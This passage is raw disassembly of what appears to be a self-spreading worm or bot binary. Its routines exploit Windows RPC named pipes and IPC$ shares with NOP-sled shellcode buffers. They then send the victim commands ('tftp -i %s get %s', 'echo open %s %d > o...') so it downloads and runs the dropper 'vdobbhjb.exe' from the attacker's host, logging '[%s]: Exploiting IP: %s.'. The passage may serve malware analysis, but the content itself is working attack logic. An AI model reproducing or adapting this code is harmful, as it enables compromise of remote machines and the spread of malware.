[ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat lea eax, [ebp+var_C] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+Dest] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h call ds:dword_427080 ; Sleep jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: .text:0040DFF5p ; .text:0040E133p Src = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h Dst = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call __alloca_probe push esi push edi push offset Str ; "vdobbhjb.exe" mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax ; Str lea eax, [ebp+Src] push 1000h ; int push eax ; Dst call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h ; Size lea eax, [ebp+var_2004] push ebx ; Src push eax ; Dst call _memcpy push esi ; Size lea eax, [ebp+Dst] push 0FFFFFF90h ; Val push eax ; Dst call _memset lea eax, [ebp+Src] push edi ; Size push eax ; Src lea eax, [ebp+var_1F2D] push eax ; Dst call _memcpy add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h ; Size lea eax, [ebp+var_2004] inc esi push ebx ; Src push eax ; Dst mov [ebp+var_4], esi call _memcpy push esi ; Size lea eax, [ebp+Dst] push 0FFFFFF90h ; Val push eax ; Dst call _memset lea eax, [ebp+Src] push edi ; Size push eax ; Src lea eax, [ebp+esi+Dst] push eax ; Dst call _memcpy add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 ; Size push offset dword_432938 ; Src loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_1004] push 360h ; Size push offset dword_432470 ; Src push eax ; Dst call _memcpy push 10h ; Size lea eax, [ebp+var_CA4] push offset dword_4327D4 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_2004] push esi ; Size push eax ; Src lea eax, [ebp+var_C94] push eax ; Dst call _memcpy lea edi, [esi+370h] push 3Ch ; Size push offset off_4327E8 ; Src lea eax, [ebp+edi+var_1004] push eax ; Dst call _memcpy add edi, 3Ch push 30h ; Size push offset dword_432828 ; Src lea eax, [ebp+edi+var_1004] push eax ; Dst call _memcpy mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi ; Size mov [ebp+var_E78], eax call _malloc add esp, 40h mov ebx, eax push esi ; Size push 0 ; Val push ebx ; Dst call _memset lea eax, [ebp+var_1004] push edi ; Size push eax ; Src push ebx ; Dst call _memcpy mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call __alloca_probe cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call _sprintf add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_4270F8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: .text:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: .text:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call _malloc mov esi, eax push edi push ebx push esi call _memset add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] call ds:dword_4270F4 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call ds:dword_4270F0 ; WriteFile test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: .text:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: .text:0040E005j push dword ptr [ebp-4] call ds:dword_427070 ; CloseHandle jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: .text:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call ds:dword_4270EC ; ReadFile push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_427070 ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: .text:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call _memset add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 ; htons mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 ; inet_addr mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: .text:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: .text:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: .text:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC ; recv push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: .text:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC ; recv push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: .text:0040E162j ; .text:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: .text:0040E14Aj call dword_4CBA6C ; closesocket loc_40E1CA: ; CODE XREF: .text:0040DF7Dj ; .text:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: .text:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C ; closesocket loc_40E1DE: ; CODE XREF: .text:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call _sprintf add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: .text:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h call ds:dword_427080 ; Sleep inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: .text:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call _sprintf add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: .text:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: .text:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: .text:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h Dest = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call dword_4CBA14 ; inet_addr mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+Dst] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC ; recv mov edi, offset Str ; "vdobbhjb.exe" push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h call ds:dword_427080 ; Sleep push edi push offset aS ; "%s\r\n" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC ; recv push ebx call dword_4CBA6C ; closesocket mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: .text:0040E946p ; .text:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h Dst = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h Src = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h Str = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call __alloca_probe mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+Str] push offset aSIpc ; "\\\\%s\\ipc$" push eax ; Dest call _sprintf add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+Str] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h ; Size lea eax, [ebp+var_B4] push offset dword_432EA0 ; Src push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl eax, 1 push eax ; Size lea eax, [ebp+Src] push eax ; Src lea eax, [ebp+var_84] push eax ; Dst call _memcpy add esp, 1Ch lea eax, [ebp+Str] push 9 ; Size push (offset aC_3+3) ; Src push eax ; Str call _strlen pop ecx lea eax, [ebp+eax*2+var_85] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen add al, 1Ah push 1 ; Size shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax ; Src lea eax, [ebp+var_B1] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl al, 1 add al, 9 push 1 ; Size mov [ebp+var_2], al lea eax, [ebp+var_2] push eax ; Src lea eax, [ebp+var_87] push eax ; Dst call _memcpy mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 ; htons xor eax, 9999h push 2 ; Size mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax ; Src push offset dword_432BA0 ; Dst call _memcpy add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+Dst] push edi ; Size push 90h ; Val push eax ; Dst call _memset mov eax, [ebp+arg_C0] push 4 ; Size imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax ; Src lea eax, [ebp+var_14E0] push eax ; Dst call _memcpy mov esi, offset aI_1 ; "ë" push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_14D0] push esi ; Src push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_11AC] push offset dword_433408 ; Src push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_11A8] push [ebp+var_14] ; Src push eax ; Dst call _memcpy add esp, 40h push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_119C] push esi ; Src push eax ; Dst call _memcpy add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+Dst] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi ; Size push 31h ; Val push eax ; Dst mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call _memset push esi ; Size lea eax, [ebp+var_68DC] push 31h ; Val push eax ; Dst call _memset add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h ; Size lea eax, [ebp+var_F14] push 90h ; Val push eax ; Dst call _memset mov esi, offset aI_1 ; "ë" push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_E74] push esi ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_10] push eax ; Str call _strlen push eax ; Size lea eax, [ebp+var_10] push eax ; Src lea eax, [ebp+var_758] push eax ; Dst call _memcpy mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h ; Size lea eax, [ebp+var_2CA8] push 31h ; Val push eax ; Dst call _memset movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h ; Size lea eax, [ebp+var_89B4] push offset dword_433128 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_4804] push 1B5Ah ; Size push eax ; Src lea eax, [ebp+var_894C] push eax ; Dst call _memcpy push 70h ; Size lea eax, [ebp+var_68DC] push offset dword_433194 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_3770] push 0A5Eh ; Size push eax ; Src lea eax, [ebp+var_686C] push eax ; Dst call _memcpy push 84h ; Size lea eax, [ebp+var_5DA8] push offset dword_433208 ; Src push eax ; Dst call _memcpy add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch ; Size lea eax, [ebp+var_2CA8] push offset dword_433014 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_F14] push 7D0h ; Size push eax ; Src lea eax, [ebp+var_2C2C] push eax ; Dst call _memcpy push 90h ; Size lea eax, [ebp+var_245C] push offset off_433094 ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch call ds:dword_427080 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call _memset add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC ; recv push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC ; recv push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC ; recv movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: .text:0040E884j ; .text:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: .text:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: .text:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: .text:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: .text:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: .text:0040E975j push ebx call dword_4CBA6C ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call __snprintf push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: .text:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: .text:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h Dest = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4271F0 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4271F4 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_427204 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_4271F8 ; connect cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, ds:dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "vdobbhjb.exe" push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Dest] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push ebx call ds:dword_427208 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_427200 ; closesocket push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: .data:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call ds:dword_427204 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_4271F8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi call ds:dword_427208 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j call ds:dword_427200 ; closesocket loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj call ds:dword_427200 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: .text:0040EC93p ; .text:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, 